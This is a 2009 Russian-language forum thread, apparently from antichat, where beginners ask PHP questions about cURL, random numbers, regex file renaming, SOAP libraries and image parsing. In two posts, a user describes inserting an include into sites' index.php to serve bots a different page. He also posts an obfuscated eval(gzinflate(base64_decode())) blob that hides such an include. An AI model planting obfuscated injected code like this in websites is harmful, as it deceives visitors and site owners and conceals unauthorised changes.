[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. Adekvatnyj

    Adekvatnyj Member

    Joined:
    28 Oct 2009
    Messages:
    18
    Likes Received:
    25
    Reputations:
    -3
    2 вопроса:
    1. не по теме, расскажите мне о запросах, чем их делать, структуру запроса знаю, интересует откуда берется ID сессии, и content lenght
    2. Дайте мануалы с курлом, и как собственно отправить 2 запроса подряд, post и get , и проверить есть ли в гет аттач?
     
  2. TDKronuS

    TDKronuS Member

    Joined:
    9 Nov 2009
    Messages:
    64
    Likes Received:
    13
    Reputations:
    3
    В Гет аттач быть не может.
     
  3. Adekvatnyj

    Adekvatnyj Member

    Joined:
    28 Oct 2009
    Messages:
    18
    Likes Received:
    25
    Reputations:
    -3
    PHP:
    $post "password=".$pass."";
    $ref "http://www.".$hostname."/";
    $ch curl_init();
    curl_setopt($chCURLOPT_URL'$path');
    curl_setopt($chCURLOPT_USERAGENT'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6'); 
    curl_setopt($chCURLOPT_REFERER,$ref);
    curl_setopt($chCURLOPT_HTTPHEADER$header);
    curl_setopt($chCURLOPT_POST1);  
    curl_setopt($chCURLOPT_POSTFIELDS,$post);   
    curl_setopt($chCURLOPT_TIMEOUT,30);
    curl_setopt($ch CURLOPT_VERBOSE ); 
    curl_setopt($ch CURLOPT_HEADER );
    curl_setopt($chCURLOPT_RETURNTRANSFER1);
    curl_setopt($chCURLOPT_FOLLOWLOCATION1);
    $result curl_exec($ch);   
    curl_close($ch);   
    echo 
    $result;
    что может быть проблемой, ничего не выводит, адрес http://slil.ru/28255566 (к примеру).
    Кто знает в чем проблема стукните в аську 495399.
    И какая опция проверяет или есть закачка файла?
     
    #12883 Adekvatnyj, 26 Nov 2009
    Last edited: 26 Nov 2009
  4. geforce

    geforce Member

    Joined:
    21 Aug 2008
    Messages:
    300
    Likes Received:
    26
    Reputations:
    -5
  5. hackmen

    hackmen Banned

    Joined:
    22 Oct 2007
    Messages:
    110
    Likes Received:
    46
    Reputations:
    1
    Всем привет. Столкнулся с такой проблемой.
    Есть файл index.php.

    В самое начало файла вставляю строчку
    ?><? include "/home/sites/******/public_html/htdocs/temp.php"; ?><?

    При открытии сайта пишет:
    Warning: Unexpected character in input: '\' (ASCII=92) state=1 in /home/sites/******/public_html/index.php(1) : eval()'d code on line 1

    Parse error: syntax error, unexpected $end in /home/sites/******/public_html/index.php(1) : eval()'d code on line 1

    И продолжает дальше грузить страницу.

    Проверял на трех серваках. Везде вылазит такая болячка, только на одном нормально проинклудилась.
    Бразы, подскажите в чем проблема.
     
  6. hackmen

    hackmen Banned

    Joined:
    22 Oct 2007
    Messages:
    110
    Likes Received:
    46
    Reputations:
    1
    Делаю то, что работает ибо не стал постить бы фигню.
    Инклудит файл temp.php на проверку ботов. Если бот- то отдает другую страницу, если нет- то продолжает грузить index.php

    Скрипт 100 процентов рабочий, так юзается он достаточно обширно.

    Может я не правильно расшифровал строку, взятую с рабочего сервера?

    <? eval(gzinflate(base64_decode("pZLRboJAEEV/hWxJhBh1nc0OO0Hqh5R2S2HthEIoJEm6q939d0a06dJZm7unDsZf0smGkHqgSzwTIkBNaoeKY86kCW1wAclNJa3pgaZUwd8VKLFAZVBKihZitjvIkO9Eg2qvRPIHLjROXZII7XRANJQoV2zUaJAgyphS5gVeZ0dSztbpOx4vqTsbKqLLVP2Y5uUbY/jSq5SZsbyqz6nbDT2076czGmBMxAs9ntyto6lxBrpWzfRnoYrlto7ZKTkWaTYr5BcrdHZWN0A3+hrWDlGLd2yOrmzA16QAZn0Q1eZOnjEEca+u9IBM+CVbkFaanUeNVQocb3DZBJvmi7wrdMrUdIhymgH8gC8d1C0S3h8d7Z6jvi+0XQa/gXpzRMvt13QdMXDuG93l7yH3ofn///dwtgcsipg61c2/4t6zlZrFsa/"))); ?>

    Расшифровал как
    ?><? include "/usr/shared/web/fut181/htdocs/theme.php"; ?><?
     
  7. harom

    harom New Member

    Joined:
    15 Jan 2009
    Messages:
    25
    Likes Received:
    0
    Reputations:
    0
    выбор случайного числа

    подскажите, как сделать выбор случайного числа от 1 до $sum


    PHP:
    $result_familiar_idmysql_query ("SELECT id FROM familiar"$db); 
    $sum =  mysql_num_rows($result_familiar_id)
    тобиш мне нужно выбрать случайную статью из базы, где их $sum
     
  8. b3

    b3 Banned

    Joined:
    5 Dec 2004
    Messages:
    2,170
    Likes Received:
    1,155
    Reputations:
    202
    PHP:
     $sql_result $db->query "SELECT * FROM " PREFIX "_post WHERE approve = '1' ORDER BY RAND() LIMIT 0, 4" );
    Как раз вчера делал для ДЛЕ.
     
  9. harom

    harom New Member

    Joined:
    15 Jan 2009
    Messages:
    25
    Likes Received:
    0
    Reputations:
    0
    разобрался

    $var = rand (1, $sum);

    в переменной $var будет случайное число от 1 до $sum (1 и $sum входят)
     
  10. Luck3r

    Luck3r New Member

    Joined:
    1 Nov 2009
    Messages:
    14
    Likes Received:
    1
    Reputations:
    0
    Ну дык все правильно. У тебя же идет так: <? eval(gzinflate... т.е. если с расшифрокой то получается так:
    <?
    ?><? include "/usr/shared/web/fut181/htdocs/theme.php"; ?><?
    ?>
    В чем вообще проблема то?
     
  11. Deathdreams

    Deathdreams Elder - Старейшина

    Joined:
    8 Nov 2008
    Messages:
    342
    Likes Received:
    116
    Reputations:
    5
    $var = mt_rand (1, $sum);

    вот теперь 1 и $sum входят.
     
  12. Adekvatnyj

    Adekvatnyj Member

    Joined:
    28 Oct 2009
    Messages:
    18
    Likes Received:
    25
    Reputations:
    -3
    http://forum.antichat.ru/showpost.php?p=1715587&postcount=13587
    Помогите а??
     
  13. Exploit393

    Exploit393 Banned

    Joined:
    23 Nov 2009
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    Помогите плиз ачатовцы. У меня такая задача:
    Я скачал альбом рамшштайна: а там все песни с перфикмом т.е. стоит номер перед названием каждой песни. т.е.

    Code:
    1-Rammlied.mp3
    2-Bshrafe mich.mp3
    3-du hast.mp3
    ................................
    Мне надо убрать эти цифры (они меня бесят) и оставить чистсое название.

    C++ я уже довно забыл и не стал с ипаца, решил на PHP. Начал кодить, но у меня с регулярками проблема, я их ещё не изучил.

    Так вот помогите плиз. Вот набросил.

    PHP:
    <?php
    $dir
    =opendir("./");
    while(
    false != ($filename=readdir($dir))
    {
     
    а тут помгите составить регулку
    }

    ?>

    Если не лень, допищите плиз.

    Заранее спс.
     
  14. svesve

    svesve Elder - Старейшина

    Joined:
    15 Jun 2007
    Messages:
    574
    Likes Received:
    86
    Reputations:
    11
    PHP:
    <?php
    $dir
    =opendir("./");
    while(
    false != ($filename=readdir($dir)))
    {
    if(
    preg_match('/(\d+)-/',$filename)){
     
    $new_filename=preg_replace('/(\d+)-/','',$filename);
     
    rename($filename,$new_filename);
    }
    }
    ?>
     
  15. Patronik

    Patronik Member

    Joined:
    16 Mar 2009
    Messages:
    111
    Likes Received:
    12
    Reputations:
    0
    В состав девера не вошла библиотека php_soap.dll. пожалуйсте киньте ссылку где качнуть php_soap.dll для версии php 5.2.4
     
  16. Patronik

    Patronik Member

    Joined:
    16 Mar 2009
    Messages:
    111
    Likes Received:
    12
    Reputations:
    0
    По той ссылке что ты дал для версии 5.2.1 а мне надо 5.2.4
    Скачаю пожалуй хамп.
     
    #12896 Patronik, 27 Nov 2009
    Last edited: 27 Nov 2009
  17. Byrger

    Byrger Elder - Старейшина

    Joined:
    7 Mar 2008
    Messages:
    521
    Likes Received:
    26
    Reputations:
    -4
    На удаленном сервере есть директория http://site.ru/image/
    и там лежат картинки вида $id.jpg

    $id задается из БД

    Тоесть запускается скрипт прокрутки БД

    PHP:
    While($row=mysql_fetch_array($result)){
     
    //парсер http://site.ru/image/$row[id].jpg
    }
    Как написать парсер который будет пихать в БД картинку?
    Таблица Images столбец img
     
  18. ANTIHАCK

    ANTIHАCK Member

    Joined:
    20 Jun 2009
    Messages:
    19
    Likes Received:
    7
    Reputations:
    0
    del
     
    #12898 ANTIHАCK, 27 Nov 2009
    Last edited: 22 Jun 2010
  19. Patronik

    Patronik Member

    Joined:
    16 Mar 2009
    Messages:
    111
    Likes Received:
    12
    Reputations:
    0
    скачал и установил хамп и пока что доволен. Дистрибутив пхп намного лучще чем в денвере.
     
  20. Patronik

    Patronik Member

    Joined:
    16 Mar 2009
    Messages:
    111
    Likes Received:
    12
    Reputations:
    0
     
    #12900 Patronik, 27 Nov 2009
    Last edited: 27 Nov 2009
    1 person likes this.
Thread Status:
Not open for further replies.